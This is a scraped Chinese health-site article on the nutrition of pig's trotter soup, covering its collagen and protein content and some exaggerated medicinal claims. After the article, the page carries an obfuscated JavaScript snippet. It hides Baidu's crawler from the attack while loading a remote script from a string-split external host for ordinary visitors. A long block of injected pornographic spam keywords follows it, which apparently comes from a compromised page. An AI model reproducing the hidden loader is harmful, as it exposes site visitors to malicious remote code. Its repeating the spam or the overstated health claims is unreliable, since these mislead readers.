當前位置:首頁 > 飲食 > 食物營養 > 正文

豬腳湯的營養有哪些

2017-07-07 09:29:14  來源:360常識網   熱度:
導語:豬蹄具有很高的營養價值,它不僅能夠增加我們體內的營養元素還可以幫助大家預防各種疾病的發生,豬腳湯的營養就不用多說了,它不僅是一道美

豬蹄具有很高的營養價值,它不僅能夠增加我們體內的營養元素還可以幫助大家預防各種疾病的發生,豬腳湯的營養就不用多說了,它不僅是一道美味,而且也是一種良藥,可以幫助大家清除體內的有害物質,讓自己遠離各種疾病的困擾,讓我們一起來看看吧。

豬蹄的營養價值有哪些?豬蹄是我國居民非常喜歡吃的一道家常菜,因為豬蹄的營養價值豐富又具有治療的藥用功能,下面看看豬蹄的營養價值的具體分析。 豬蹄又叫豬腳、豬手。分前后兩種,前蹄肉多骨少,呈直形,后蹄肉少骨稍多,呈彎形。豬蹄含有豐富的膠原蛋白質,脂肪含量也比肥肉低,近年在對老年人衰老原因的研究中發現,人體中膠原蛋白質缺乏,是人衰老的一個重要因素。它能防治皮膚干癟起皺、增強皮膚彈性和韌性,對延緩衰老和促進兒童生長發育都具有物殊意義。為此,人們把豬蹄稱為“美容食品”和“類似于熊掌的美味佳肴”。中醫認為豬蹄性平,味甘咸,是一種類似熊掌的美味菜肴及治病“良藥”。

豬蹄身價不菲的熊掌常常讓我們普通的消費者望其興嘆;廉價的豬蹄卻是我們所熟悉的日常美食。而人們卻常常對廉價的豬蹄不屑一顧,其實豬蹄的營養價值并不亞于熊掌。 豬蹄營養豐富,味道可口。它不僅是常用菜肴,而且還是滋補佳品。據食品營養專家分析,每100克豬蹄中含蛋白質15.8克、脂肪26.3克、碳水化合物1.7克。豬蹄中還含有維生素A、B、C及鈣、磷、鐵等營養物質,尤其是豬蹄中的蛋白質水解后,所產生的胱氨酸、精氨酸等11種氨基酸之含量均與熊掌不相上下。 從醫學的角度來看,豬蹄又是多用途的良藥。豬蹄中含有豐富的膠原蛋白,這是一種由生物大分子組成的膠類物質,是構成肌腱、韌帶及結締組織中最主要的蛋白質成分。在人體內,膠原蛋白約占蛋白質的三分之一。若膠原蛋白合成發生了異常,就會引起“膠原性疾病”。 骨骼生成時,首先必須要合成充足的膠原蛋白纖維組成骨骼的框架,所以膠原蛋白又是“骨骼中的骨骼”。

綜上所述:豬蹄里面有充足的膠原蛋白,它可以增加自己體內的蛋白質成分,也可以幫助骨骼的發育,豬腳湯的營養價值非常高,很多人都喜歡吃豬腳湯,而且烹飪之后口感很好,里面含有很多的維生素,能夠及時補充身體缺乏的各種營養元素。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
www国产亚洲精品久久久| 在线精品自拍无码| 国产精品最新国产精品第十页 | 亚洲欧洲自拍拍偷精品 美利坚| 久久91精品综合国产首页| 国产精品美女久久久久| 国产精品久久久久久久久电影网 | 久久国产精品免费一区| 久久精品国产四虎| 999精品视频这里只有精品| 日韩精品人妻系列无码av东京| 日产精品99久久久久久| 国产精品无码免费专区午夜| 亚洲国产成人久久精品软件| 少妇人妻偷人精品无码视频新浪| 老司机成人精品视频lsj | 一区二区精品久久| 国产精品亚洲lv粉色| 亚洲精品视频免费看| 国产亚洲精品a在线无码| 亚洲性日韩精品一区二区三区| 久久亚洲精品无码gv| 国产高清国产精品国产专区| 99精品福利国产在线导航| 热99精品只有里视频最新| 国产乱码精品一区二区三区香蕉| 中文字幕一区二区精品区| 国产成人精品优优av| 三上悠亚精品一区二区久久| 凹凸精品视频分类国产品免费| 国内精品久久久久久久久齐齐| 精品久久久久久无码专区| 精品无码国产自产拍在线观看| 久久精品亚洲中文字幕无码网站 | 中文字幕日韩精品无码内射| 精品99久久aaa一级毛片| 午夜精品一区二区三区在线观看| 国内精品久久久久久久久蜜桃| 国产精品久久久久乳精品爆| 中文字幕一区日韩精品| 69久久精品无码一区二区|